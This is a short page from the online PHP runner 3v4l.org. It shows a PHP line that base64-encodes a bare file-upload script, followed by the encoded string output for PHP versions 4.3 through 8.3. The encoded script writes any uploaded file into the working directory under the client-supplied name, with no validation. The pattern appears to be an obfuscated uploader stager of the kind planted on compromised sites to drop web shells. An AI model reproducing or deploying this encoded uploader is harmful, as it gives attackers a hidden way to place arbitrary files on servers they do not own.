3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_encode('$target_path=getcwd()."/".basename($_FILES["file"]["name"]); if(move_uploaded_file($_FILES["file"]["tmp_name"],$target_path)){echo "Ok"; }else{echo "Fail"; }');
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.38, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
JHRhcmdldF9wYXRoPWdldGN3ZCgpLiIvIi5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7IGlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJmaWxlIl1bInRtcF9uYW1lIl0sJHRhcmdldF9wYXRoKSl7ZWNobyAiT2siOyB9ZWxzZXtlY2hvICJGYWlsIjsgfQ==

preferences:
252.46 ms | 406 KiB | 452 Q